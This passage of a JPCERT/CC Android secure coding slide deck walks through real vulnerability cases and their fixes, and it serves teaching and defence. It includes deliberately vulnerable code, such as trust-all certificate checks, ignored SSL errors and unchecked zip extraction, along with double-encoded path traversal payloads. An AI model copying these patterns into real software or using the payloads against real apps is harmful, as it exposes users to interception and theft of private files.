  100. 100. Copyright©2015 JPCERT/CC All rights reserved. Intent Intent —A message object that is passed between components (such as Activity, Service, Broadcast Receiver, Content Provider) —Explicit Intent package is specified —Implicit Intent package is not specified. there is a risk of information leakage Intent.setPackage(packageName) —Limit package that can resolve the Intent —Available for Android 4.0(API14) and later 100
  101. 101. Copyright©2015 JPCERT/CC All rights reserved. LINE for Android vulnerable in handling implicit intents 101 Handling implicit intents is inappropriate, information such as messages sent by LINE may be leaked https://play.google.com/store/apps/details?id=jp.naver.line.androi http://jvn.jp/en/jp/JVN67435981/ LINE is an app for communicationwith others.
  102. 102. Copyright©2015 JPCERT/CC All rights reserved. Attack Scenario 102 Victim 2. The message is Broadcasted thus malware could also read the message App Malsare Message (Intent) Information Disclosure App App message 1. Victim sends a message (suppose malware is already installed) Malware Broadcast receiver Broadcast receiver
  103. 103. Copyright©2015 JPCERT/CC All rights reserved. Solution 103 Malware • If you only want to send Intent to your internal Broadcast receiver, use explicit Intent • limit the destination class Limit the destination using an explicit Intent Q. How the flaw should be fixed? A. Use explicit Intent Broadcast receiver App Message (Intent) Broadcast receiver
  104. 104. Copyright©2015 JPCERT/CC All rights reserved. JSSEC Secure Coding Guidebook 104 Use explicit Intent with class specified to call a receiver within the same application.
  105. 105. Copyright©2015 JPCERT/CC All rights reserved. Broadcast within the own app use LocalBroadcastManager —the data you are broadcasting won't leave your app, so no need to worry about leaking private data —other applications cannot send these broadcasts to your app, so you don't need to worry about having security holes they can exploit —more efficient than sending a global broadcast through the system 105 Intent  intent  =  new  Intent("my-‐‑‒sensitive-‐‑‒event"); intent.putExtra("event",  "this  is  a  test  event"); LocalBroadcastManager.getInstance(this).sendBroadcast(intent);
  106. 106. Copyright©2015 JPCERT/CC All rights reserved. When You Implement Broadcast Receiver Limit the destination if you need to send sensitive information —Intent#setClass(Context, class) If the app lacks a permission and an error occurs during the sending of the broadcast message, the error will also be sent to LogCat —The error message in LogCat could leak the contents of the Intent If you are publishing a Broadcast Receiver, consider the risk of Intents being sent from malware 106
  107. 107. Copyright©2015 JPCERT/CC All rights reserved.107 Logging Sensitive Information CASE #9
  108. 108. Copyright©2015 JPCERT/CC All rights reserved. Log Output android.util.Log class —Log.d (Debug), Log.e (Error) —Log.i (Info), Log.v (Verbose), Log.w (Warn) 108 Log.v("method",   Login.TAG   +  ",  account="   +  str1); Log.v("method",   Login.TAG   +  ",  password="   +  str2); example
  109. 109. Copyright©2015 JPCERT/CC All rights reserved. Obtaining Log Output declare READ_LOGS permission in the manifest file —Apps can read log output call logcat from an app 109 <uses-­‐permission  android:name="android.permission.READ_LOGS"/> AndroidManifest.xml Process  mProc =  Runtime.getRuntime().exec( new  String[]{"logcat",  "-­‐d",  "method:V *:S“}); BufferedReader mReader =  new  BufferedReader( new  InputStreamReader(proc.getInputStream())); example
  110. 110. Copyright©2015 JPCERT/CC All rights reserved. Account information or other information such as sessionID are saved in a log file http://jvn.jp/jp/JVN31860555/ http://madoka-‐‑‒magica-‐‑‒game.channel.or.jp/#/Application Monaca account could have been hijacked Information Management Vulnerability 110
  111. 111. Copyright©2015 JPCERT/CC All rights reserved. Attack Scenarios 111 Attacker Accountinformation 1. Monaca debugger app outputs the account information to logcat 2. Malicious app can obtain the account information from the log Information Disclosure Victim Maliciousapp log output Monaca Debugger app
  112. 112. Copyright©2015 JPCERT/CC All rights reserved. Root Cause Used logging for debugging purpose Released app without removing the debug code Apps with READ_LOGS permission could obtain all the other app’s log output 112
  113. 113. Copyright©2015 JPCERT/CC All rights reserved. Solution Make sure no sensitive data is sent to logcat Declare and use custom log class —so that log output is automatically turned on/off based on Debug/Release use ProGuard to delete specific method call 113
  114. 114. Copyright©2015 JPCERT/CC All rights reserved. Android 4.0(API15) and before Any application with READ_LOGS permission could obtain all the other app's log output 114 App A App B obtain log outputobtain log output Log.v("method",  Login.TAG  +  ",   account="  +  str1); Process  mProc =  Runtime.getRuntime(). exec( new  String[]{"logcat", "-­‐d", "method:V *:S”}); READ_LOGS permission
  115. 115. Copyright©2015 JPCERT/CC All rights reserved. Android 4.1(API16) and later The behavior of READ_LOGS permission was changed —Even app with READ_LOGS permission cannot obtain log output from other apps By connecting device to PC, log output from other app can still be obtained 115 App A App B obtain log outputobtain log output READ_LOGS permission
  116. 116. Copyright©2015 JPCERT/CC All rights reserved. JSSEC Secure Coding Guidebook 116 Sensitive information must not be output by android.util.Log
  117. 117. Copyright©2015 JPCERT/CC All rights reserved. More on Android Logcat Security Android Logcat Security —http://translate.wooyun.io/2015/06/17/android-logcat- security.html 117
  118. 118. Copyright©2015 JPCERT/CC All rights reserved.118 Storing Sensitive Data in External Storage (SD cards) CASE #10
  119. 119. Copyright©2015 JPCERT/CC All rights reserved. CVE-2012-4007 Malicious app could access friends’ comments 119 https://play.google.com/store/apps/details?id=jp.mixi https://jvn.jp/en/jp/JVN92038939/ SNS app for posting comments, checking friends’ updates, etc.
  120. 120. Copyright©2015 JPCERT/CC All rights reserved. 1. SNS app fetches a comment of user’s friend (supposedly sensitive) 2. SNS app saves it to SD card 3. Other app retrieves the comment from SD card 4. And send it to an attacker information leak attacker friends’ comments 120 Malicious App SD card Attack Scenario
  121. 121. Copyright©2015 JPCERT/CC All rights reserved. malware • Friends’ comments are saved to SD card • The contents in SD card can be read by other apps SD card Files in SDcard can be read from otherapps file friends’ comments friends’ comments friends’ comments 121 Root Cause
  122. 122. Copyright©2015 JPCERT/CC All rights reserved. App Directory malware SD card friends’ comments friends’ comments File with MODE_PRIVA TE NOT Readable Solution 122 Save friends’ comments to internal storage (application- specific directory)
  123. 123. Copyright©2015 JPCERT/CC All rights reserved. 4.6.1.1. Using Private Files 123 JSSEC Secure Coding Guidebook •Files should not be shared with other apps •Files should be created with MODE_PRIVATE
  124. 124. Copyright©2015 JPCERT/CC All rights reserved.124 Improper File Permissions CASE #11
  125. 125. Copyright©2015 JPCERT/CC All rights reserved. CVE-2013-2301 OpenWnn Info. Disclosure Malicious App could access files stored in vulnerable app’s application data directory 125
  126. 126. Copyright©2015 JPCERT/CC All rights reserved. Attack Scenario 126 Attack  Scenario User installs andexecutes a malicious app User User install Mal app App Market, attacker’s site, etc. The malicious app steals OpenWnn’s application data access Mal app http://jvndb.jvn.jp/en/contents/2013/JVNDB-2013-000025.html Application data is not supposed to be shared among apps but improper file permission make it possible OpenWnn’s sensitive data is stolen
  127. 127. Copyright©2015 JPCERT/CC All rights reserved. Root Cause 127 Attack  Scenario User installs and executes malicious app Use r Use r install Mal app App Market, attacker’s site, etc. The malicious app accesses the file in the internal storage access Mal app Internal storage area is expected to protect private files, but files can be accessible if access permissions are improperly set. The access permission of the created file was set to WORLD_READABLE. Other app could read the file if the file path is known.
  128. 128. Copyright©2015 JPCERT/CC All rights reserved. Solution 128 Attack  Scenario User installs and executes malicious app Use r Use r install Mal app App Market, attacker’s site, etc. The malicious app accesses the file in the internal storage access Mal app Internal storage area is expected to protect private files, but files can be accessible if access permissions are improperly set. Application data (private files) should be created with the access permission MODE_PRIVATE
  129. 129. Copyright©2015 JPCERT/CC All rights reserved. Security Models of Android Application can read any other application data (user’s file). Application resources should be isolated unless the resource needs to be shared among different apps. What do you mean by “user”? On Android each app has different UID so application data should be protected. 129
  130. 130. Copyright©2015 JPCERT/CC All rights reserved. Saving application data in Android OS Android provides multiple options to save persistent application data —Shared Preferences —Internal Storage —External Storage —SQLite Databases —Network Connection 130 http://developer.android.com/guide/topics/data/data-storage.html
  131. 131. Copyright©2015 JPCERT/CC All rights reserved. Take care where to save files using… —Shared Preferences —Internal Storage —External Storage —SQLite Databases —Network Connection Saving application data in Android OS 131 Those options use “private” local files. Those options use “private” local files. Those options use “private” local files.
  132. 132. Copyright©2015 JPCERT/CC All rights reserved. Access Permissions of Android OS MODE_PRIVATE MODE_WORLD_READABLE MODE_WORLD_WRITABLE android.content.context defines the file access permissions… 132
  133. 133. Copyright©2015 JPCERT/CC All rights reserved. Access Permissions of Android OS MODE_PRIVATE MODE_WORLD_READABLE MODE_WORLD_WRITABLE 133 String  FILENAME  =  “hello_file”; String  string =  “ciao  world!”; FileOutputStream fos = openFileOutput(FILENAME,  Context.MODE_PRIVATE); fos.write(string.getBytes()); fos.close(); created files can only be accessed by the calling application. (or any apps sharing the same user ID)
  134. 134. Copyright©2015 JPCERT/CC All rights reserved. Access Permissions of Android OS MODE_PRIVATE MODE_WORLD_READABLE MODE_WORLD_WRITABLE 134 allow all other applications to have read access to the created file. “This constant was deprecated in API level 17. Creating world- readable files is very dangerous, and likely to cause security holes in applications. It is strongly discouraged; instead, applications should use more formal mechanism for interactions such as ContentProvider, BroadcastReceiver, and Service. …”
  135. 135. Copyright©2015 JPCERT/CC All rights reserved. Access Permissions of Android OS MODE_PRIVATE MODE_WORLD_READABLE MODE_WORLD_WRITABLE 135 allow all other applications to have write access to the created file. “This constant was deprecated in API level 17. Creating world- writable files is very dangerous, and likely to cause security holes in applications. It is strongly discouraged; instead, applications should use more formal mechanism for interactions such as ContentProvider, BroadcastReceiver, and Service. …”
  136. 136. Copyright©2015 JPCERT/CC All rights reserved. Application sandboxing in Android OS Android OS gives each app a distinct Linux user ID Android OS takes advantage of the Linux user-based protection to identify and isolate app resources If you need to share data between apps, use inter-process communication mechanism, e.g., ContentProvider, BroadcastReceiver, Service, … 136 http://source.android.com/devices/tech/security/index.html App-private files should be isolated from other apps. That is the Android’s basic principle!
  137. 137. Copyright©2015 JPCERT/CC All rights reserved. Summary Remember the design principle of Android OS —Don’t allow other applications to access your local files Use IPC mechanism (such as ContentProvider) for sharing data among apps When you need to share data with other app, consider the risk of malware and protect against them. File permission of local files should be MODE_PRIVATE 137
  138. 138. Copyright©2015 JPCERT/CC All rights reserved. 4.6.1.1. Using Private Files 138 JSSEC Secure Coding Guidebook •Files should not be shared with other apps •Files should be created with MODE_PRIVATE
  139. 139. Copyright©2015 JPCERT/CC All rights reserved.139 HTML 5 12.Geolocation API and Privacy Concern
  140. 140. Copyright©2015 JPCERT/CC All rights reserved.140 Geolocation API and Privacy Concern CASE #12
  141. 141. Copyright©2015 JPCERT/CC All rights reserved. Geolocation API Allows web browsers to access geographical location information of user's device —http://www.w3.org/TR/geolocation-API/ —Specified by W3C To use Geolocation API in WebView —Permission android.permission.ACCESS_FINE_LOCATION android.permission.ACCESS_COARSE_LOCATION android.permission.INTERNET —WebView class WebSettings#setGeolocationEnabled(true); 141
  142. 142. Copyright©2015 JPCERT/CC All rights reserved. To Retrieve User’s Location Data on A Web Page An example javascript of using Geolocation API: 142 <script> navigator.geolocation.getCurrentPosition( function(position) { alert(position.coords.latitude); alert(position.coords.longitude); }, function(){ //  error }); </script>
  143. 143. Copyright©2015 JPCERT/CC All rights reserved. Ask for user's consent 143 Should not send geolocation information to websites without obtaining the user's consent
  144. 144. Copyright©2015 JPCERT/CC All rights reserved. There are a lot of Vulnerable Code Out There 144
  145. 145. Copyright©2015 JPCERT/CC All rights reserved. Vulnerable Implementation 145 public  void  onGeolocationPermissionsShowPrompt(String  arg3, GeolocationPermissions$Callback arg4)  { super.onGeolocationPermissionsShowPrompt(arg3,  arg4); arg4.invoke(arg3,  true,  false); } whether or not the origin should be allowed to use the Geolocation API the origin for which permissions are set whether the permission should be retained beyond the lifetime of a page currently being displayed by a WebView Sends user’s location data without gaining user's permission
  146. 146. Copyright©2015 JPCERT/CC All rights reserved. Attack Scenarios Attacker only need to force the victim to visit a website that collects geolocation data Attacker can get the user's geolocation without being noticed 146
  147. 147. Copyright©2015 JPCERT/CC All rights reserved. Summary 147 Only send geolocation data to a website after obtaining the user's consent
  148. 148. Copyright©2015 JPCERT/CC All rights reserved.148 ‘Classic’ Errors 13.Cryptographic Issues 14.Path traversal 15.Unsafe Decompression of Zip Files 16.Improper Certificate Verification
  149. 149. Copyright©2015 JPCERT/CC All rights reserved.149 Android Cipher List Issue CASE #13
  150. 150. Copyright©2015 JPCERT/CC All rights reserved. Best Practice for Using Cryptography http://developer.android.com/guide/practices/security.html#Crypto “In general, try using the highest level of pre-existing framework implementation that can support your use case. ……… 150 If you cannot avoid implementing your own protocol, we strongly recommend that you do not implement your own cryptographic algorithms.”
  151. 151. Copyright©2015 JPCERT/CC All rights reserved.151 However……
  152. 152. Copyright©2015 JPCERT/CC All rights reserved. Android Cipher List Issue 152 http://op-co.de/blog/posts/android_ssl_downgrade/
  153. 153. Copyright©2015 JPCERT/CC All rights reserved.153 RSA/MD5 is on the top! Android Cipher List Issue
  154. 154. Copyright©2015 JPCERT/CC All rights reserved. … from Source code of Android 4.1_r2 154 /** *    Provides  the  Java  side  of  our  JNI  glue  for  OpenSSL. */ public  final  class  NativeCrypto { ………… static  { //  Note  these  are  added  in  priority  order add(“SSL_RSA_WITH_RC4_128_MD5”,                “RC4-­‐MD5”); add(“SSL_RSA_WITH_RC4_128_SHA”,                “RC4-­‐SHA”); add(“TLS_RSA_WITH_AES_128_CBC_SHA”,        “AES128-­‐SHA”); add(“TLS_RSA_WITH_AES_256_CBC_SHA”,        “AES256-­‐SHA”); add(“TLS_ECDH_ECDSA_WITH_RC4_128_SHA”,  “ECDH-­‐ECDSA-­‐RC4-­‐SHA”); ............ https://android.googlesource.com/platform/libcore/+/android-cts- 4.1_r2/luni/src/main/java/org/apache/harmony/xnet/provider/jsse/NativeCrypto.java Cipher list is hard-coded
  155. 155. Copyright©2015 JPCERT/CC All rights reserved. RC4-MD5 should be avoided 155 Disable RC4 The RC4 cipher suite is considered insecure and should be disabled. At the moment, the best attacks we know require millions of requests, a lot of bandwidth and time. Thus, the risk is still relatively low, but we expect that the attacks will improve in the future. From Qualys SSL Labs, “SSL/TLS Deployment Best Practices” https://www.ssllabs.com/projects/best-practices/
  156. 156. Copyright©2015 JPCERT/CC All rights reserved. Solution 156 Next Page…
  157. 157. Copyright©2015 JPCERT/CC All rights reserved. Solution 157 You can customize the cipher list using setEnabledCipherSuites()
  158. 158. Copyright©2015 JPCERT/CC All rights reserved. Solution 158 Customize the cipher list using setProperty(“https.cipherSuites”,…) http://blog.livedoor.jp/k_urushima/archives/cat_38371.html
  159. 159. Copyright©2015 JPCERT/CC All rights reserved.159 Path Traversal CASE #14
  160. 160. Copyright©2015 JPCERT/CC All rights reserved. CVE-2013-0704: GREE Path Traversal Vulnerability GREE (jp.gree.android.app) Feature —Mobile social gaming app Vulnerability —Other app could obtain the private file of the app 160
  161. 161. Copyright©2015 JPCERT/CC All rights reserved. Overview of Vulnerability Flaw in the implementation of ContentProvider —used openFile method to share image files ContentProvider#openFile —provides a facility for other app to access your app data 161
  162. 162. Copyright©2015 JPCERT/CC All rights reserved. Vulnerable Code In openFile() method —used Uri#getLastPathSegment to obtain the last segment of the path —Return the target file from the specified directory 162 private static String  IMAGE_DIRECTORY  =  localFile.getAbsolutePath(); public ParcelFileDescriptor openFile(Uri  paramUri,  String  paramString) throws FileNotFoundException { File  file  =  new File(IMAGE_DIRECTORY,  paramUri.getLastPathSegment()); return  ParcelFileDescriptor.open(file,  ParcelFileDescriptor.MODE_READ_ONLY); } jp/gree/android/sdk/ImageProvider
  163. 163. Copyright©2015 JPCERT/CC All rights reserved. Uri#getLastPathSegment Uri#getLastPathSegment()  internally calls Uri#getPathSegments() 163 public String  getLastPathSegment()  { //  TODO:  If  we  haven't  parsed  all  of  the  segments  already,  just //  grab  the  last  one  directly  so  we  only  allocate  one  string. List<String>  segments  =  getPathSegments(); int size  =  segments.size(); if  (size  ==  0)  { return  null; } return  segments.get(size  -­‐ 1); }
  164. 164. Copyright©2015 JPCERT/CC All rights reserved. Uri#getPathSegments 164 PathSegmentsBuilder segmentBuilder =  new PathSegmentsBuilder(); int previous  =  0; int current; while  ((current  =  path.indexOf('/',  previous))  >  -­‐1)  { //  This  check  keeps  us  from  adding  a  segment  if  the  path  starts //  '/'  and  an  empty  segment  for  "//". if  (previous  <  current)  { String  decodedSegment =  decode(path.substring(previous,  current)); segmentBuilder.add(decodedSegment); } previous  =  current  +  1; } //  Add  in  the  final  path  segment. if  (previous  <  path.length())  { segmentBuilder.add(decode(path.substring(previous))); } return  pathSegments =  segmentBuilder.build(); }
  165. 165. Copyright©2015 JPCERT/CC All rights reserved. Uri#getPathSegments 165 PathSegmentsBuilder segmentBuilder =  new PathSegmentsBuilder(); int previous  =  0; int current; while  ((current  =  path.indexOf('/',  previous))  >  -­‐1)  { //  This  check  keeps  us  from  adding  a  segment  if  the  path  starts //  '/'  and  an  empty  segment  for  "//". if  (previous  <  current)  { String  decodedSegment =  decode(path.substring(previous,  current)); segmentBuilder.add(decodedSegment); } previous  =  current  +  1; } //  Add  in  the  final  path  segment. if  (previous  <  path.length())  { segmentBuilder.add(decode(path.substring(previous))); } return  pathSegments =  segmentBuilder.build(); } divide the path into segments using "/" as a separator and then decoded ../../%E3%81%BB%E3%81%92%2Ejpg Path is separated by "/" .. ほげ.jpg ..
  166. 166. Copyright©2015 JPCERT/CC All rights reserved. Uri#getPathSegments PathSegmentsBuilder segmentBuilder =  new PathSegmentsBuilder(); int previous  =  0; int current; while  ((current  =  path.indexOf('/',  previous))  >  -­‐1)  { //  This  check  keeps  us  from  adding  a  segment  if  the  path  starts //  '/'  and  an  empty  segment  for  "//". if  (previous  <  current)  { String  decodedSegment =  decode(path.substring(previous,  current)); segmentBuilder.add(decodedSegment); } previous  =  current  +  1; } //  Add  in  the  final  path  segment. if  (previous  <  path.length())  { segmentBuilder.add(decode(path.substring(previous))); } return  pathSegments =  segmentBuilder.build(); } 166 ../../..%2F..%2F%E3%81%BB%E3%81%92%2Ejpg ../../ほげ.jpg What happens if “/” in the path is URL encoded to "%2F“ ? "/" are separated, but "%2F" are not. Therefore after the path separation, the last path segment containing “%2F” is decoded to “/” which allows path traversal. .. ..
  167. 167. Copyright©2015 JPCERT/CC All rights reserved. Initial Fix by the Developer Uri#getLastPathSegment is called twice 167 private static String  IMAGE_DIRECTORY  =  localFile.getAbsolutePath(); public ParcelFileDescriptor openFile(Uri  paramUri,  String  paramString) throws FileNotFoundException { File  file  =  new File(IMAGE_DIRECTORY, Uri.parse(paramUri.getLastPathSegment()).getLastPathSegment()); return  ParcelFileDescriptor.open(file,   ParcelFileDescriptor.MODE_READ_ONLY); }
  168. 168. Copyright©2015 JPCERT/CC All rights reserved. Fix Applied by the Developer Uri#getLastPathSegment is called twice 168 private static String  IMAGE_DIRECTORY  =  localFile.getAbsolutePath(); public ParcelFileDescriptor openFile(Uri  paramUri,  String  paramString) throws FileNotFoundException { File  file  =  new File(IMAGE_DIRECTORY, Uri.parse(paramUri.getLastPathSegment()).getLastPathSegment()); return  ParcelFileDescriptor.open(file,   ParcelFileDescriptor.MODE_READ_ONLY); } The first getLastPathSegment() call ../../..%2F..%2F%E3%81%BB%E3%81%92%2Ejpg ../../hoge.jpg The second getLastPathSegment() call hoge.jpg ../../hoge.jpg
  169. 169. Copyright©2015 JPCERT/CC All rights reserved.169 Is This Fix Enough?
  170. 170. Copyright©2015 JPCERT/CC All rights reserved. Double Encoding Encode the encoded text. 170 https://www.owasp.org/index.php/Double_Encoding ..%2F..%2F%E3%81%BB%E3%81%92%2Ejpg %252E%252E%252F%252E%252E%252F%25E3%2581%25BB%25E3%25 81%2592%252Ejpg
  171. 171. Copyright©2015 JPCERT/CC All rights reserved. What if the path is double-encoded? How does the previous fix decode a double-encoded path? 171 private static String  IMAGE_DIRECTORY  =  localFile.getAbsolutePath(); public ParcelFileDescriptor openFile(Uri  paramUri,  String  paramString) throws FileNotFoundException { File  file  =  new File(IMAGE_DIRECTORY, Uri.parse(paramUri.getLastPathSegment()).getLastPathSegment()); return  ParcelFileDescriptor.open(file,   ParcelFileDescriptor.MODE_READ_ONLY); } The first getLastPathSegment %2E%2E%2F%2E%2E%2F%E3%81%BB%E3%81%92%2Ejpg The second getLastPathSegment ../../ほげ.jpg %252E%252E%252F%252E%252E%252F%25E3%2581%25BB%25E3%2 581%2592%252Ejpg %2E%2E%2F%2E%2E%2F%E3%81%BB%E3%81%92%2Ejpg decode "%25" to "%" Again, path traversal is possible
  172. 172. Copyright©2015 JPCERT/CC All rights reserved. Solution First canonicalize the path using File#getCanonicalPath(). Then check to see if the canonicalized path is under the IMAGE_DIRECTORY. 172 private static String  IMAGE_DIRECTORY  =  localFile.getAbsolutePath(); public ParcelFileDescriptor openFile(Uri  paramUri,  String  paramString) throws FileNotFoundException { String  decodedUriString =  Uri.decode(paramUri.toString()); File  file  =  new File(IMAGE_DIRECTORY, Uri.parse(decodedUriString).getLastPathSegment()); if  (file.getCanonicalPath().indexOf(localFile.getCanonicalPath())  !=  0)  { throw  new IllegalArgumentException(); } return  ParcelFileDescriptor.open(file,  ParcelFileDescriptor.MODE_READ_ONLY); }
  173. 173. Copyright©2015 JPCERT/CC All rights reserved. Summary First, canonicalize the path —File#getCanonicalPath() Then, validate the canonicalized path Reference —https://www.securecoding.cert.org/confluence/display/java/IDS 02-J.+Canonicalize+path+names+before+validating+them —https://www.owasp.org/index.php/Double_Encoding 173
  174. 174. Copyright©2015 JPCERT/CC All rights reserved.174 Unsafe Decompression of Zip Files CASE #15
  175. 175. Copyright©2015 JPCERT/CC All rights reserved. ZIP File and Security When extracting entries from a ZIP archive, be prepared to mitigate Zip Bomb and Directory Traversal attacks. https://www.securecoding.cert.org/confluence/x/3AG-Aw 175
  176. 176. Copyright©2015 JPCERT/CC All rights reserved. java.util.zip package classes for reading/writing ZIP and GZIP file formats. n ZipInputStream -- input stream filter for reading ZIP files n ZipOutputStream -- output stream filter for writing ZIP files n ZipEntry -- represents a ZIP file entry n GZIPInputStream -- input stream filter for reading GZIP n GZIPOutputStream – output stream filter for writing GZIP files 176 ZipInputStrea m ZipOutputStrea m
  177. 177. Copyright©2015 JPCERT/CC All rights reserved. ZipBomb ua small zip file but when decompressed, it expands to larger than a system can handle uHigh compression ratio uConsumes memory and/or disks 177 Decompresing Zip files without checking file size could lead to DoS!!
  178. 178. Copyright©2015 JPCERT/CC All rights reserved. More Bombs... 178 Decompression bomb vulnerabilities AERAsec Network Services andSecurity GmbH http://www.aerasec.de/security/advisories/decompression-bomb- vulnerability.html Zip Bomb (http://en.wikipedia.org/wiki/Zip_bomb) 42.zip (http://www.unforgettable.dk/)
  179. 179. Copyright©2015 JPCERT/CC All rights reserved. Directory Traversal Zip entries (file names) are untrusted input —Filenames in a zip file could contain special characters (such as ‘.’, ‘/’, ‘¥’ etc) to conduct path traversal attacks 179 document.docx presentation.pptx ../../../sdcard/malwar epicture1.jpg picture2.jpg Filenames in a zip file should be checked before the files are created in a filesystem.
  180. 180. Copyright©2015 JPCERT/CC All rights reserved. Vulnerable Code class  Unzip  { static  final  int  BUFFER  =  512; public  static  void  main(String[]  args)  throws  FileNotFoundException,IOException { BufferedOutputStream dest =  null; ZipInputStream zis = new  ZipInputStream(new  BufferedInputStream(new  FileInputStream(args[0]))); ZipEntry entry; while  ((entry  =  zis.getNextEntry())  !=  null){ System.out.println(“Extracting:  “  +  entry); int  count; byte  data[]  =  new  byte[BUFFER]; FileOutputStream fos =  new  FileOutputStream(entry.getName()); dest =  new  BufferedOutputStream(fos,  BUFFER); while  ((count=zis.read(data,0,BUFFER))  !=  -­‐1){ dest.write(data,  0,  count); } dest.flush(); dest.close(); } zis.close(); } } 180 Extracts contents without checking the resulting size Uses entry filenames in ZIP archive without validating them
  181. 181. Copyright©2015 JPCERT/CC All rights reserved. Vulnerable Code Example class  Unzip  { static  final  int  BUFFER  =  512; public  static  void  main(String[]  args)  throws  FileNotFoundException,IOException { BufferedOutputStream dest =  null; ZipInputStream zis = new  ZipInputStream(new  BufferedInputStream(new  FileInputStream(args[0]))); ZipEntry entry; while  ((entry  =  zis.getNextEntry())  !=  null){ System.out.println(“Extracting:  “  +  entry); int  count; byte  data[]  =  new  byte[BUFFER]; FileOutputStream fos =  new  FileOutputStream(entry.getName()); dest =  new  BufferedOutputStream(fos,  BUFFER); while  ((count=zis.read(data,0,BUFFER))  !=  -­‐1){ dest.write(data,  0,  count); } dest.flush(); dest.close(); } zis.close(); } } 181 Solution: Validate filenames and resulting sizes BEFORE extracting files
  182. 182. Copyright©2015 JPCERT/CC All rights reserved. static  final  int BUFFER  =  512; static  final  int TOOBIG  =  0x6400000;  //  upper limit of filesize, 100MB static  final  int TOOMANY  =  1024;  //  upper limit of entries //  ... private  String  validateFilename(String  filename,  String  intendedDir)  { File  f  =  new  File(filename); String  canonicalPath =  f.getCanonicalPath(); File  iD =  new  File(intendedDir); String  canonicalID =  iD.getCanonicalPath(); if  (canonicalPath.startsWith(canonicalID))  { return  canonicalPath; }  else  { throw  new  IllegalStateException("File  is  outside  extraction  target   directory."); } } public  final  void  unzip(String  filename)  throws  java.io.IOException{ 182 Continues to the next page… Canonicalize the given path first. Then make sure that the given pathis in the intendedDir Solution
  183. 183. Copyright©2015 JPCERT/CC All rights reserved. public  final  void  unzip(String  filename)  throws  java.io.IOException{ FileInputStream fis =  new  FileInputStream(filename); ZipInputStream zis =  new  ZipInputStream(new  BufferedInputStream(fis)); ZipEntry entry;      int entries  =  0;    int total  =  0; try  { while  ((entry  =  zis.getNextEntry())  !=  null)  { System.out.println("Extracting:  "  +  entry); int count; byte  data[]  =  new  byte[BUFFER]; //  outputa file AFTER verifyingfilenamsandresultingfile size String  name  =  validateFilename(entry.getName(),  "."); FileOutputStream fos =  new  FileOutputStream(name); BufferedOutputStream dest =  new  BufferedOutputStream(fos,  BUFFER); while  (total  <=  TOOBIG  &&  (count  =  zis.read(data,  0,  BUFFER))  !=  -­‐1)  { dest.write(data,  0,  count); total  +=  count; } dest.flush(); dest.close(); zis.closeEntry(); entries++; if  (entries  >  TOOMANY)  { throw  new  IllegalStateException("Too  many  files  to  unzip."); } if  (total  >  TOOBIG)  { throw  new  IllegalStateException("File  being  unzipped  is  too  big."); } } }  finally  {  zis.close();  }  } 183 Book keeping the extracted size so that it won’t exceed some upper limit Solution (cont.)
  184. 184. Copyright©2015 JPCERT/CC All rights reserved.184 Improper Server Certificate Verification CASE #16
  185. 185. Copyright©2015 JPCERT/CC All rights reserved. Multiple Android Apps fail to properly validate SSL certificate In September 2014, CERT/CC published VU#582497 —1,000,462 apps tested —23,667 apps failed dynamic testing Many android apps don’t validate SSL certificate properly —http://www.kb.cert.org/vuls/id/582497 185
  186. 186. Copyright©2015 JPCERT/CC All rights reserved. 25% of Apps vulnerable to HTTPS handling 186 ¼ of android applications contain HTTPS related vulnerabilities Android  Application  Vulnerability  Research  Report,  Oct.,  2013 http://www.sonydna.com/sdna/solution/android_̲vulnerability_̲report_̲201310.pdf
  187. 187. Copyright©2015 JPCERT/CC All rights reserved. Root Cause of HTTPS Vulnerabilities 187 Android  Application  Vulnerability  Research  Report,  Oct.,  2013 http://www.sonydna.com/sdna/solution/android_̲vulnerability_̲report_̲201310.pdf Customized X509TrustManager Customized WebViewClient#onReceivedSslError Customized HostnameVerifier Fig.8 Causes of HTTPS-related Vulnerabilities
  188. 188. Copyright©2015 JPCERT/CC All rights reserved. Vulnerable Pattern 1 Custom TrustManager 188 package  xxxx.xxxx.xxxx.xxxx.xxxx.xxxx; import  java.security.cert.X509Certificate; import  javax.net.ssl.X509TrustManager; class  g  implements  X509TrustManager  { g(f  arg1)  { this.a =  arg1; super(); } public  void  checkClientTrusted(X509Certificate[]  arg1,  String  arg2)  { } public  void  checkServerTrusted(X509Certificate[]  arg1,  String  arg2)  { } public  X509Certificate[]  getAcceptedIssuers()  { return  null; } }
  189. 189. Copyright©2015 JPCERT/CC All rights reserved. Vulnerable Pattern 2 SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER is used to accept any hostname. 189 h.a =  new  HttpPost(v0); h.a.setHeader("Content-­‐Type",  "image/jpeg"); h.a.setHeader("Accept-­‐Language",  "ja-­‐jp"); h.a.setHeader("Accept-­‐Encoding",  "gzip,  deflate"); h.a.setHeader("Proxy-­‐Connection",  "keep-­‐alive"); h.a.setHeader("User-­‐Agent",  v1); KeyStore v0_1  =  KeyStore.getInstance(KeyStore.getDefaultType()); v0_1.load(v2,  ((char[])v2)); f  v1_1  =  new  f(v0_1);   ((SSLSocketFactory)v1_1).setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); SchemeRegistry v0_2  =  new  SchemeRegistry(); v0_2.register(new  Scheme("http",  PlainSocketFactory.getSocketFactory(),  80)); v0_2.register(new  Scheme("https",  ((SocketFactory)v1_1),  443));
  190. 190. Copyright©2015 JPCERT/CC All rights reserved. Vulnerable Pattern 3 Empty HostnameVerify 190 HostnameVerifier hv =  new  HostnameVerifier()  { @Override public  boolean verify(String  hostname,  SSLSession session)  { //  always  returns  true,  hence  accepts  any  hostnames return  true;   } };  
  191. 191. Copyright©2015 JPCERT/CC All rights reserved. Vulnerable Pattern 4 SSL error is ignored in WebView 191 mWebView.setWebViewClient(new  WebViewClient()  { @Override public  void  onReceivedSslError(WebView view,  SslErrorHandler handler,  SslError error)  { handler.proceed(); } });
  192. 192. Copyright©2015 JPCERT/CC All rights reserved. The transaction contains users’ account balance information Certain Financial app fails to verify SSL Server Certificates 192 The vulnerability allows MITM attack!!
  193. 193. Copyright©2015 JPCERT/CC All rights reserved. Attack Scenario 193 Attacker 1. App requests SSL/TLS connection 3. App proceeds the session WITHOUT verifying the certificate user Financial  App malicious   certificate 2. Responds with a malicious certificate Impersonating The server Unable to detect Man-In-The-Middle attacks!
